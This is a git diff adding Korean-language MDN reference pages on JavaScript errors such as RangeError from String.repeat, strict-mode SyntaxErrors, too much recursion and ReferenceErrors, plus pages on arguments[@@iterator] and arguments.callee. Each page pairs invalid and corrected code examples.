+<p> {{jsxref("String.prototype.repeat()")}} 메소드가 사용되었습니다. 이 메소드는 문자열을 반복하는 수를 예측하는 카운트 파라메터를 가지고 있었습니다. 그리고 이 파라메터는 0보다 커야하며, 양의 {{jsxref("Infinity")}} 보다 작아야 했으며, 음수는 허용되지 않았습니다. 이 값의 허용 범위는 이렇게 표현될 수 있습니다. : [0, +∞). </p>
+
+<p>결과인 문자열은 최대 문자열 크기보다 클 수 없지만, JavaScript 에서는 다를 수 있습니다. Firefox (SpiderMonkey) 에서의 최대 문자열 크기는 2<sup>28</sup> -1 (<code>0xFFFFFFF</code>)입니다.</p>
+
+<h2 id="예">예</h2>
+
+<h3 id="허용되지_않는_경우">허용되지 않는 경우</h3>
+
+<pre class="brush: js example-bad">'abc'.repeat(Infinity); // RangeError
+'a'.repeat(2**28);      // RangeError
+</pre>
+
+<h3 id="허용되는_경우">허용되는 경우</h3>
+
+<pre class="brush: js example-good">'abc'.repeat(0);    // ''
+'abc'.repeat(1);    // 'abc'
+'abc'.repeat(2);    // 'abcabc'
+'abc'.repeat(3.5);  // 'abcabcabc' (숫자는 정수로 변환될 것입니다.)
+</pre>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.repeat()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/strict_non_simple_params/index.html b/files/ko/web/javascript/reference/errors/strict_non_simple_params/index.html
new file mode 100644
index 0000000000..8c07f4b46a
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/strict_non_simple_params/index.html
@@ -0,0 +1,107 @@
+---
+title: 'SyntaxError: "use strict" not allowed in function with non-simple parameters'
+slug: Web/JavaScript/Reference/Errors/Strict_Non_Simple_Params
+translation_of: Web/JavaScript/Reference/Errors/Strict_Non_Simple_Params
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">Firefox:
+SyntaxError: "use strict" not allowed in function with default parameter
+SyntaxError: "use strict" not allowed in function with rest parameter
+SyntaxError: "use strict" not allowed in function with destructuring parameter
+
+Chrome:
+SyntaxError: Illegal 'use strict' directive in function with non-simple parameter list
+</pre>
+
+<h2 id="Error_type">Error type</h2>
+
+<p>{{jsxref("SyntaxError")}}.</p>
+
+<h2 id="무엇이_잘못_되었을까요">무엇이 잘못 되었을까요?</h2>
+
+<p> <code>"use strict"</code> 지시문은 다음 매개변수 중 한 개가 있는 함수의 맨 위에 작성됩니다:</p>
+
+<ul>
+ <li>{{jsxref("Functions/Default_parameters", "Default parameters", "", 1)}}</li>
+ <li>{{jsxref("Functions/rest_parameters", "Rest parameters", "", 1)}}</li>
+ <li>{{jsxref("Operators/Destructuring_assignment", "Destructuring parameters", "", 1)}}</li>
+</ul>
+
+<p><code>"use strict"</code> 지시문은 ECMAScript 동작에 따라 이러한 함수의 맨 위에 허용되지 않습니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="기능_명세서">기능 명세서</h3>
+
+<p>다음은 함수 <code>sum</code> 에는 기본 매개 변수 <code>a=1</code> 및 <code>b=2</code>가 있는 경우입니다:</p>
+
+<pre class="brush: js example-bad">function sum(a = 1, b = 2) {
+  // SyntaxError: "use strict" not allowed in function with default parameter
+  'use strict';
+  return a + b;
+}
+</pre>
+
+<p>함수가 <a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">strict mode</a> 모드에 있어야 하고 전체 스크립트 또는 포함된 함수가 <a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">strict mode</a>에 있어도 괜찮으면 함수 외부에서 <code>"use strict"</code> 지시문을 이동할 수 있습니다:</p>
+
+<pre class="brush: js example-good">'use strict';
+function sum(a = 1, b = 2) {
+  return a + b;
+}
+</pre>
+
+<h3 id="함수_표현식">함수 표현식</h3>
+
+<p>함수 표현식은 또 다른 해결방법을 사용할 수 있습니다:</p>
+
+<pre class="brush: js example-bad">var sum = function sum([a, b]) {
+  // SyntaxError: "use strict" not allowed in function with destructuring parameter
+  'use strict';
+  return a + b;
+};
+</pre>
+
+<p>이것은 다음 표현식으로 변환 될 수 있습니다:</p>
+
+<pre class="brush: js example-good">var sum = (function() {
+  'use strict';
+  return function sum([a, b]) {
+    return a + b;
+  };
+})();
+</pre>
+
+<h3 id="화살표_함수">화살표 함수</h3>
+
+<p>화살표 함수가 <code>this</code>에 접근해야 하는 경우에는,  둘러싼 함수로 화살표 함수를 사용할 수 있습니다:</p>
+
+<pre class="brush: js example-bad">var callback = (...args) =&gt; {
+  // SyntaxError: "use strict" not allowed in function with rest parameter
+  'use strict';
+  return this.run(args);
+};
+</pre>
+
+<p>이것은 다음 표현식과 같이 변환될 수 있습니다:</p>
+
+<pre class="brush: js example-good">var callback = (() =&gt; {
+  'use strict';
+  return (...args) =&gt; {
+    return this.run(args);
+  };
+})();
+</pre>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Strict_mode", "Strict mode", "", 1)}}</li>
+ <li>{{jsxref("Statements/function", "function statement", "", 1)}}</li>
+ <li>{{jsxref("Operators/function", "function expression", "", 1)}}</li>
+ <li>{{jsxref("Functions/Default_parameters", "Default parameters", "", 1)}}</li>
+ <li>{{jsxref("Functions/rest_parameters", "Rest parameters", "", 1)}}</li>
+ <li>{{jsxref("Operators/Destructuring_assignment", "Destructuring parameters", "", 1)}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/too_much_recursion/index.html b/files/ko/web/javascript/reference/errors/too_much_recursion/index.html
new file mode 100644
index 0000000000..90495a359b
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/too_much_recursion/index.html
@@ -0,0 +1,50 @@
+---
+title: 'InternalError: too much recursion'
+slug: Web/JavaScript/Reference/Errors/Too_much_recursion
+translation_of: Web/JavaScript/Reference/Errors/Too_much_recursion
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메시지">메시지</h2>
+
+<pre class="syntaxbox">InternalError: too much recursion
+</pre>
+
+<h2 id="에러_형식">에러 형식</h2>
+
+<p><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/InternalError" title='The InternalError object indicates an error that occurred internally in the JavaScript engine. For example: "InternalError: too much recursion".'><code>InternalError</code></a>.</p>
+
+<h2 id="무엇이_잘못되었을까">무엇이 잘못되었을까?</h2>
+
+<p>자신을 호출하는 함수를 재귀 함수라고 합니다. 어떤 면에서, 재귀는 반복과 유사합니다. 둘 다 같은 코드를 여러 번 실행하며, 조건(무한 반복 피하기, 더 정확히 여기서 말하는 무한 재귀)이 있습니다. 너무 많거나 무한 번의 재귀가 발생할 경우, JavaScript는 이 에러를 던질 것입니다.</p>
+
+<h2 id="예">예</h2>
+
+<p>이 재귀 함수는 exit 조건에 따라 10번을 실행합니다.</p>
+
+<pre class="brush: js">function loop(x) {
+  if (x &gt;= 10) // "x &gt;= 10" is the exit condition
+    return;
+  // do stuff
+  loop(x + 1); // the recursive call
+}
+loop(0);</pre>
+
+<p>이 조건에 대하여 너무 높은 값을 설정 하면 작동하지 않게 됩니다.</p>
+
+<pre class="brush: js example-bad">function loop(x) {
+  if (x &gt;= 1000000000000)
+    return;
+  // do stuff
+  loop(x + 1);
+}
+loop(0);
+
+// InternalError: too much recursion</pre>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{Glossary("Recursion")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Functions#Recursion">Recursive functions</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/undeclared_var/index.html b/files/ko/web/javascript/reference/errors/undeclared_var/index.html
new file mode 100644
index 0000000000..688c92473d
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/undeclared_var/index.html
@@ -0,0 +1,62 @@
+---
+title: 'ReferenceError: assignment to undeclared variable "x"'
+slug: Web/JavaScript/Reference/Errors/Undeclared_var
+translation_of: Web/JavaScript/Reference/Errors/Undeclared_var
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메시지">메시지</h2>
+
+<pre class="syntaxbox">ReferenceError: assignment to undeclared variable "x" (Firefox)
+ReferenceError: "x" is not defined (Chrome)
+ReferenceError: Variable undefined in strict mode (Edge)
+</pre>
+
+<h2 id="에러_형식">에러 형식</h2>
+
+<p>엄격 모드(<a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">strict mode</a>)에서만 발생하는 {{jsxref("ReferenceError")}} 경고.</p>
+
+<h2 id="무엇이_잘못되었을까">무엇이 잘못되었을까?</h2>
+
+<p>선언되지 않은 변수로 값은 할당되었습니다. <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/var">var</a></code> 키워드가 없이 할당이 된 것입니다. 선언된 변수와 선언되지 않은 변수 사이에는 차이가 있는데, 이는 예상치 못한 결과를 가져오며, 때문에 JavaScript 엄격모드에서는 에러를 발생시키고 있습니다.</p>
+
+<p>선언된 변수와 선언되지 않은 변수에 대하여 기억해야 할 세 가지:</p>
+
+<ul>
+ <li>선언된 변수는 선언된 실행 맥락 내에서 요구됩니다. 선언되지 않은 변수는 항상 전역의 특성을 띱니다.</li>
+ <li>선언된 변수는 코드가 실행되기 전에 생성됩니다. 선언되지 않은 변수는 실행을 위해 할당이 일어날 때까지 존재하지 않습니다.</li>
+ <li>선언된 변수는 실행 맥락 내(함수나 전역적인)에서 변경 불가한 요소입니다. 선언되지 않은 변수는 변경이 가능합니다. (삭제 될 수도 있습니다.)</li>
+</ul>
+
+<p>더 많은 설명과 예제를 필요로 한다면 이 <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/var">var</a></code> 참조문서 페이지를 보세요.</p>
+
+<p>선언되지 않은 변수 할당에 대한 에러는 엄격 모드(<a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">strict mode code</a>)에서만 발생합니다. 비-엄격 코드에서는 조용히 묵인됩니다.</p>
+
+<h2 id="예">예</h2>
+
+<h3 id="허용되지_않는_경우">허용되지 않는 경우</h3>
+
+<p>이런 경우에는, 변수 "bar"는 선언되지 않은 변수가 됩니다.</p>
+
+<pre class="brush: js example-bad">function foo() {
+  "use strict";
+  bar = true;
+}
+foo(); // ReferenceError: assignment to undeclared variable bar
+</pre>
+
+<h3 id="허용되는_경우">허용되는 경우</h3>
+
+<p>"bar" 를 선언된 변수로 만들기 위해서, <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/var">var</a> </code>키워드를 변수명 앞에 붙여줍니다.</p>
+
+<pre class="brush: js example-good">function foo() {
+  "use strict";
+  var bar = true;
+}
+foo();</pre>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">Strict mode</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/undefined_prop/index.html b/files/ko/web/javascript/reference/errors/undefined_prop/index.html
new file mode 100644
index 0000000000..7919ca877d
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/undefined_prop/index.html
@@ -0,0 +1,58 @@
+---
+title: 'ReferenceError: reference to undefined property "x"'
+slug: Web/JavaScript/Reference/Errors/Undefined_prop
+translation_of: Web/JavaScript/Reference/Errors/Undefined_prop
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메시지">메시지</h2>
+
+<pre class="syntaxbox">ReferenceError: reference to undefined property "x" (Firefox)
+</pre>
+
+<h2 id="에러_형식">에러 형식</h2>
+
+<p>엄격 모드(<a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">strict mode</a>)에서만 발생하는 {{jsxref("ReferenceError")}} 경고.</p>
+
+<h2 id="무엇이_잘못되었을까">무엇이 잘못되었을까?</h2>
+
+<p>이 스크립트는 존재하지 않는 객체의 속성에 접근을 시도했습니다. 요소에 접근하는 방법에는 두 가지가 있습니다.; 더 자세히 알고 싶으시다면, 속성 접근자(<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Property_Accessors">property accessors</a>) 참조 문서를 봐주세요. </p>
+
+<p>정의되지 않은 속성 참조에 대한 에러는 엄격 모드 코드(<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode">strict mode code</a>)에서만 발생합니다. 비-엄격모드의 코드에서는 존재하지 않는 속성에 대한 접근은 조용히 무시됩니다.</p>
+
+<h2 id="예">예</h2>
+
+<h3 id="허용되지_않는_경우">허용되지 않는 경우</h3>
+
+<p>이 경우에는, 속성 <code>bar</code> 는 정의되지 않은 속성으로, <code>ReferenceError</code> 가 발생합니다.</p>
+
+<pre class="brush: js example-bad">"use strict";
+
+var foo = {};
+foo.bar; // ReferenceError: reference to undefined property "bar"
+</pre>
+
+<h3 id="허용되는_경우">허용되는 경우</h3>
+
+<p>에러를 피하기 위해서는, 접근을 시도하기 앞서, 객체에 <code>bar</code> 에 대한 정의를 추가하거나 <code>bar</code> 속성의 존재 여부를 확인해야 합니다.; 아래와 같이 {{jsxref("Object.prototype.hasOwnProperty()")}} method)를 사용하는 것이 하나의 방법이 될 수 있습니다.:</p>
+
+<pre class="brush: js example-good">"use strict";
+
+var foo = {};
+
+// bar 속성을 정의한다.
+
+foo.bar = "moon";
+console.log(foo.bar); // "moon"
+
+// bar에 접근하기 전에 존재 하는지 확인한다.
+
+if (foo.hasOwnProperty("bar") {
+  console.log(foo.bar);
+}</pre>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">Strict mode</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/unexpected_token/index.html b/files/ko/web/javascript/reference/errors/unexpected_token/index.html
new file mode 100644
index 0000000000..91704a6006
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/unexpected_token/index.html
@@ -0,0 +1,49 @@
+---
+title: 'SyntaxError: Unexpected token'
+slug: Web/JavaScript/Reference/Errors/Unexpected_token
+tags:
+  - 에러
+  - 자바스크립트
+translation_of: Web/JavaScript/Reference/Errors/Unexpected_token
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메시지">메시지</h2>
+
+<pre class="syntaxbox">SyntaxError: expected expression, got "x"
+SyntaxError: expected property name, got "x"
+SyntaxError: expected target, got "x"
+SyntaxError: expected rest argument name, got "x"
+SyntaxError: expected closing parenthesis, got "x"
+SyntaxError: expected '=&gt;' after argument list, got "x"
+</pre>
+
+<h2 id="에러_타입">에러 타입</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="무엇이_잘못되었나요">무엇이 잘못되었나요?</h2>
+
+<p>특정 언어 구조를 예상했지만 무언가 다른 것이 있었습니다. 아마도, 간단한 오타일 것입니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="예상하지_못한_표현식">예상하지 못한 표현식</h3>
+
+<p>예를 들어, 함수를 호출할 때, 인수에서 마지막 부분에 콤마는 허용되지 않습니다. 자바스크립트는 계속해서 다른 인자가 있을 것이라고 기대하기 때문입니다.</p>
+
+<pre class="brush: js example-bad">Math.max(2, 42,);
+// SyntaxError: expected expression, got ')'
+</pre>
+
+<p>콤마를 생략하거나 다른 인수를 추가해 수정할 수 있습니다.</p>
+
+<pre class="brush: js example-good">Math.max(2, 42);
+Math.max(2, 42, 13+37);
+</pre>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("Math.max()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/unexpected_type/index.html b/files/ko/web/javascript/reference/errors/unexpected_type/index.html
new file mode 100644
index 0000000000..527411ab9a
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/unexpected_type/index.html
@@ -0,0 +1,67 @@
+---
+title: 'TypeError: "x" is (not) "y"'
+slug: Web/JavaScript/Reference/Errors/Unexpected_type
+tags:
+  - Errors
+  - JavaScript
+  - TypeError
+translation_of: Web/JavaScript/Reference/Errors/Unexpected_type
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">TypeError: "x" is (not) "y"
+
+Examples:
+TypeError: "x" is undefined
+TypeError: "x" is null
+TypeError: "undefined" is not an object
+TypeError: "x" is not an object or null
+TypeError: "x" is not a symbol
+</pre>
+
+<h2 id="Error_type">Error type</h2>
+
+<p>{{jsxref("TypeError")}}.</p>
+
+<h2 id="What_went_wrong">What went wrong?</h2>
+
+<p>그것은 정확하지 않은 형태이다. 그것은 가끔{{jsxref("undefined")}} 나 {{jsxref("null")}} 값을 발생한다.</p>
+
+<p>또한, {{jsxref("Object.create()")}} 또는 {{jsxref("Symbol.keyFor()")}}와 같은 메서드는 반드시 제공되어야하는 특별한 형태를 요구한다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Invalid_cases">Invalid cases</h3>
+
+<pre class="brush: js example-bad">// undefined and null cases on which the substring method won't work
+var foo = undefined;
+foo.substring(1); // TypeError: foo is undefined
+
+var foo = null;
+foo.substring(1); // TypeError: foo is null
+
+
+// Certain methods might require a specific type
+var foo = {}
+Symbol.keyFor(foo); // TypeError: foo is not a symbol
+
+var foo = 'bar'
+Object.create(foo); // TypeError: "foo" is not an object or null
+</pre>
+
+<h3 id="Fixing_the_issue">Fixing the issue</h3>
+
+<p>undefined 나 null 값을 가진 null 포인터를 고치기 위해서 아래 예제와 같이 <a href="/en-US/docs/Web/JavaScript/Reference/Operators/typeof">typeof</a> 연산자를 사용할 수 있다.</p>
+
+<pre class="brush: js">if (typeof foo !== 'undefined') {
+  // Now we know that foo is defined, we are good to go.
+}</pre>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("undefined")}}</li>
+ <li>{{jsxref("null")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/unnamed_function_statement/index.html b/files/ko/web/javascript/reference/errors/unnamed_function_statement/index.html
new file mode 100644
index 0000000000..b7afe67563
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/unnamed_function_statement/index.html
@@ -0,0 +1,118 @@
+---
+title: 'SyntaxError: function statement requires a name'
+slug: Web/JavaScript/Reference/Errors/Unnamed_function_statement
+tags:
+  - IIEF
+  - 객체 메소드
+  - 구문 에러
+  - 자바스크립트
+  - 콜백 함수
+  - 함수 이름
+translation_of: Web/JavaScript/Reference/Errors/Unnamed_function_statement
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메세지">메세지</h2>
+
+<pre class="syntaxbox">Syntax Error: Expected identifier (Edge)
+SyntaxError: function statement requires a name [Firefox]
+SyntaxError: Unexpected token ( [Chrome]
+</pre>
+
+<h2 id="에러_타입">에러 타입</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="무엇이_잘못되었을까">무엇이 잘못되었을까?</h2>
+
+<p><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Statements/function">함수 구문</a>(Function statement)은 이름이 필수입니다. 함수가 정의된 방법에 따라 함수의 이름을 짓거나 함수 표현식(Function expression) {{Glossary("IIFE")}}으로 작성하거나, 함수가 맥락에 맞게 제대로 작성되었는지 확인해야 합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="구문_vs_표현식">구문 vs 표현식</h3>
+
+<p><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Statements/function">함수 구문</a>(또는 함수 선언)은 이름이 필요하므로 아래 예제는 동작하지 않습니다:</p>
+
+<pre class="brush: js example-bad">function () {
+  return 'Hello world';
+}
+// SyntaxError: function statement requires a name
+</pre>
+
+<p>대신 <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Operators/function">함수 표현식</a>을 사용할 수 있습니다:</p>
+
+<pre class="brush: js example-good">var greet = function() {
+  return 'Hello world';
+};</pre>
+
+<p>또는, 선언하자마자 바로 실행되는 <a href="https://en.wikipedia.org/wiki/Immediately-invoked_function_expression">IIFE</a> (Immediately Invoked Function Expression)를 사용할 수 있습니다. 이 경우 몇 개의 괄호가 더 필요합니다:</p>
+
+<pre class="brush: js example-good">(function () {
+
+})();</pre>
+
+<h3 id="레이블을_붙인_함수">레이블을 붙인 함수</h3>
+
+<p>만약 함수 <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Statements/label">레이블</a>을 사용하는 경우 <code>function</code> 키워드 뒤에 함수 이름이 필요하므로 아래 예제는 동작하지 않습니다:</p>
+
+<pre class="brush: js example-bad">function Greeter() {
+  german: function () {
+    return "Moin";
+  }
+}
+// SyntaxError: function statement requires a name
+</pre>
+
+<p>아래 예제는 동작합니다:</p>
+
+<pre class="brush: js example-good">function Greeter() {
+  german: function g() {
+    return "Moin";
+  }
+}</pre>
+
+<h3 id="객체_메소드">객체 메소드</h3>
+
+<p>만약 객체 메소드를 만드는 경우 먼저 객체를 만들어야 합니다. 객체 메소드의 경우 아래 예제와 같이 <code>function</code> 키워드 뒤에 이름이 없어도 정상적으로 동작합니다.</p>
+
+<pre class="brush: js example-good">var greeter = {
+  german: function () {
+    return "Moin";
+  }
+};</pre>
+
+<h3 id="콜백_구문">콜백 구문</h3>
+
+<p>콜백을 사용하는 경우 구문을 확인해야 합니다. 괄호와 쉼표는 구문을 어렵게 만듭니다.</p>
+
+<pre class="brush: js example-bad">promise.then(
+  function() {
+    console.log("success");
+  });
+  function() {
+    console.log("error");
+}
+// SyntaxError: function statement requires a name
+</pre>
+
+<p>올바르게 변경하면:</p>
+
+<pre class="brush: json example-good">promise.then(
+  function() {
+    console.log("success");
+  },
+  function() {
+    console.log("error");
+  }
+);
+</pre>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Guide/%ED%95%A8%EC%88%98">함수</a></li>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Statements/function">함수 구문</a></li>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Operators/function">함수 표현식</a></li>
+ <li><a href="https://en.wikipedia.org/wiki/Immediately-invoked_function_expression">IIFE</a></li>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Statements/label">레이블</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/functions/arguments/@@iterator/index.html b/files/ko/web/javascript/reference/functions/arguments/@@iterator/index.html
new file mode 100644
index 0000000000..454c8111b8
--- /dev/null
+++ b/files/ko/web/javascript/reference/functions/arguments/@@iterator/index.html
@@ -0,0 +1,78 @@
+---
+title: 'arguments[@@iterator]()'
+slug: Web/JavaScript/Reference/Functions/arguments/@@iterator
+tags:
+  - Deprecated
+  - Functions
+  - JavaScript
+  - Property
+  - arguments
+translation_of: Web/JavaScript/Reference/Functions/arguments/@@iterator
+---
+<div>{{jsSidebar("Functions")}}</div>
+
+<p><code><strong>@@iterator</strong></code> 속성의 초기값은 {{jsxref("Array.prototype.values")}} 속성의 초기값과 같은 함수 객체입니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>arguments</var>[Symbol.iterator]()</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="for...of_반복문을_사용한_반복"><code>for...of</code> 반복문을 사용한 반복</h3>
+
+<pre class="brush: js">function f() {
+  // 브라우저가 for...of 반복문과
+  // for 반복문 안의 let 범위의 변수를 지원해야 합니다.
+  for (let letter of arguments) {
+    console.log(letter);
+  }
+}
+f('w', 'y', 'k', 'o', 'p');
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-createunmappedargumentsobject', ' CreateUnmappedArgumentsObject')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-createmappedargumentsobject', ' CreateMappedArgumentsObject')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-createunmappedargumentsobject', 'CreateUnmappedArgumentsObject')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-createmappedargumentsobject', 'CreateMappedArgumentsObject')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.functions.arguments.@@iterator")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.values()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/functions/arguments/callee/index.html b/files/ko/web/javascript/reference/functions/arguments/callee/index.html
new file mode 100644
index 0000000000..13ab0c948d
--- /dev/null
+++ b/files/ko/web/javascript/reference/functions/arguments/callee/index.html
@@ -0,0 +1,203 @@
+---
+title: arguments.callee
+slug: Web/JavaScript/Reference/Functions/arguments/callee
+tags:
+  - Deprecated
+  - Functions
+  - JavaScript
+  - Property
+  - arguments
+translation_of: Web/JavaScript/Reference/Functions/arguments/callee
+---
+<div>{{jsSidebar("Functions")}}</div>
+
+<p><strong><code>arguments.callee</code></strong> 속성(property)은 현재 실행 중인 함수를 포함합니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>callee</code>는 <code>arguments</code> 객체의 속성입니다. 그 함수의 몸통(body) 내에서 현재 실행 중인 함수를 참조하는 데 쓰일 수 있습니다. 이는 함수의 이름을 알 수 없는 경우에 유용합니다, 가령 이름 없는 함수 식(또한 "익명 함수"라 함) 내에서.</p>
+
+<div class="warning"><strong>경고:</strong> ECMAScript 제5판(ES5) 은 <a href="/ko/docs/JavaScript/Reference/Functions_and_function_scope/Strict_mode" title="Strict mode">엄격 모드</a>에서 <code>arguments.callee()</code>의 사용을 금합니다. function 식(expression)에 이름을 주거나 함수 자체를 호출해야 하는 곳에 function 선언을 사용하여 <code>arguments.callee()</code> 사용을 피하세요.</div>
+
+<h3 id="arguments.callee는_왜_ES5_엄격_모드에서_제거되었나요"><code>arguments.callee</code>는 왜 ES5 엄격 모드에서 제거되었나요?</h3>
+
+<p>(<a href="http://stackoverflow.com/a/235760/578288" title="http://stackoverflow.com/a/235760/578288">olliej의 Stack Overflow 답변</a>에서 고쳐씀)</p>
+
+<p>초기 버전 JavaScript는 유명(named) 함수 식을 허용하지 않습니다. 그리고 이 때문에 재귀(recursive) 함수 식을 만들 수 없습니다.</p>
+
+<p>예를 들어, 이 구문은 작동됩니다:</p>
+
+<pre class="brush: js">function factorial (n) {
+    return !(n &gt; 1) ? 1 : factorial(n - 1) * n;
+}
+
+[1,2,3,4,5].map(factorial);</pre>
+
+<p>하지만 다음은:</p>
+
+<pre class="brush: js">[1,2,3,4,5].map(function (n) {
+    return !(n &gt; 1) ? 1 : /* what goes here? */ (n - 1) * n;
+});</pre>
+
+<p>아닙니다. 이를 우회하기 위해 <code>arguments.callee</code>가 추가되었고 이와 같이 할 수 있습니다</p>
+
+<pre class="brush: js">[1,2,3,4,5].map(function (n) {
+    return !(n &gt; 1) ? 1 : arguments.callee(n - 1) * n;
+});</pre>
+
+<p>그러나, 이는 실로 정말 나쁜 해결책이었습니다. 이는 (다른 <code>arguments</code>, <code>callee</code> 및 <code>caller</code> 문제와 함께) 일반적인 경우에 인라인 및 tail 재귀를 불가능케 하기에 (tracing 등을 통해 선택한 경우에 그것을 달성할 수 있지만 최고의 코드는 검사가 달리 필요하지 않기에 차선입니다.) 다른 주요 문제는 그 재귀 호출이 다른 <code>this</code> 값을 갖는 것입니다. 가령:</p>
+
+<pre class="brush: js">var global = this;
+
+var sillyFunction = function (recursed) {
+    if (!recursed) { return arguments.callee(true); }
+    if (this !== global) {
+        alert("This is: " + this);
+    } else {
+        alert("This is the global");
+    }
+}
+
+sillyFunction();</pre>
+
+<p>ECMAScript 3은 유명(named) 함수 식을 허용해서 이 문제를 해결했습니다. 예를 들면:</p>
+
+<pre class="brush: js">[1,2,3,4,5].map(function factorial (n) {
+    return !(n &gt; 1) ? 1 : factorial(n-1)*n;
+});</pre>
+
+<p>이는 많은 이점이 있습니다:</p>
+
+<ul>
+ <li>함수는 코드 내부에서 다른 함수처럼 호출될 수 있습니다</li>
+ <li>외부 범위(outer scope)에서 변수를 만들지 않습니다 (<a href="http://kangax.github.io/nfe/#example_1_function_expression_identifier_leaks_into_an_enclosing_scope">IE 8 아래는 제외하고</a>)</li>
+ <li>arguments 객체에 액세스하는 것보다 성능이 더 낫습니다</li>
+</ul>
+
+<p>사라지게 됐던 또 다른 기능은 <code>arguments.callee.caller</code> 또는 더 명확하게 <code>Function.caller</code>였습니다. 이는 왜일까요? 자, 어느 시점에서든 당신은 모든 함수의 스택 상 가장 깊은 caller를 찾을 수 있고 위에서 말했듯이 호출 스택 보기는 한 가지 주요 효과가 있습니다: 이는 큰 수의 최적화를 불가능 또는 훨씬 훨씬 더 어렵게 합니다. 예를 들어, 함수 <code>f</code>가 익명(unknown) 함수를 호출하지 않음을 보장할 수 없는 경우, <code>f</code>를 인라인하는 게 가능하지 않습니다. 원래 사소하게 인라인 가능했을 지도 모를 모든 호출 사이트가 다수의 guard를 축적함을 뜻합니다:</p>
+
+<pre class="brush: js">function f (a, b, c, d, e) { return a ? b * c : d * e; }</pre>
+
